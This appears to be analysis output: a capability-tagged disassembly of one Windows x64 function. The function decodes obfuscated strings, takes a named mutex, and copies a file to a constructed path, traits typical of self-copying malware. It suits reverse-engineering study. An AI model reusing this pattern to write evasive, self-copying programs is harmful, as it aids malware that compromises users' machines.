Function at 0x1400023d0
Capabilities:
Check if file exists
Check mutex on windows
Copy file
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140002402
test al, 0x10
je 0x14000261e
lea rcx, str.cecYN3PnPZkescOfhFt0vNF2Ms5esDI9svXByEOyYTUOiW7g7x27blzdxtzZDo3
call fcn.140005dc8
mov rdi, rax
test rax, rax
je 0x14000261e
mov r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov r12, rax
mov rbx, 0xffffffffffffffff
test rax, rax
je 0x140002600
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
jne 0x1400025f5
xor ebp, ebp
lea rdx, [rsp + 0x58]
lea rcx, str.qcJmYK49mR23qQEgPK17ZJylCWGmSUWStn8psxh_8CpzdySgGL1kXdkt8NJLl6PNGJtjPB4EqKwh5tRMQyA9RryRZL8_elgLgcWwSJ8l3A
mov qword [rsp + 0x58], rbp
call fcn.140002160
mov rsi, qword [rsp + 0x58]
test rsi, rsi
je 0x140002640
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rsi + rax], bpl
jne 0x140002480
test rax, rax
je 0x140002640
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x58], rbp
lea rcx, str.4k5TWD8TrJT0yLpCbonV7re3B6Ja9i5pz2sIXhXO0292nkgiKj96DXBvJrLx4US
call fcn.140001ef0
mov rbp, qword [rsp + 0x58]
test rbp, rbp
je 0x1400025cc
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rax + rbp], 0
jne 0x1400024c0
mov rcx, rbx
nop dword [rax]
cmp byte [rsi + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400024d0
lea r15, [rcx + 2]
add r15, rax
mov rcx, r15
call fcn.140005c14
mov r14, rax
test rax, rax
je 0x1400025aa
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.140005d68
lea r8, [0x14001ba2c]
mov rdx, r15
mov rcx, r14
call fcn.140005e40
mov r8, rbp
mov rdx, r15
mov rcx, r14
call fcn.140005e40
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400025a2
test al, 0x10
jne 0x1400025a2
mov r8d, 1
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1400025a2
mov r8, rbx
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x140002550
xor edx, edx
mov rcx, rsi
call fcn.140005020
mov rcx, rsi
call fcn.140005c00
mov r8, rbx
nop
inc r8
cmp byte [r8 + rbp], 0
jne 0x140002570
xor edx, edx
mov rcx, rbp
call fcn.140005020
mov rcx, rbp
call fcn.140005c00
mov rcx, r14
call fcn.140005c00
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140002594
jmp 0x140002649
mov rcx, r14
call fcn.140005c00
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [r8 + rbp], 0
jne 0x1400025b0
xor edx, edx
mov rcx, rbp
call fcn.140005020
mov rcx, rbp
call fcn.140005c00
mov r8, rbx
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x1400025d0
xor edx, edx
mov rcx, rsi
call fcn.140005020
mov rcx, rsi
call fcn.140005c00
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140002600
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.140005020
mov rcx, rdi
call fcn.140005c00
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
inc rbx
cmp byte [rdi + rbx], bpl
jne 0x140002640
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.140005020
mov rcx, rdi
call fcn.140005c00
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140002623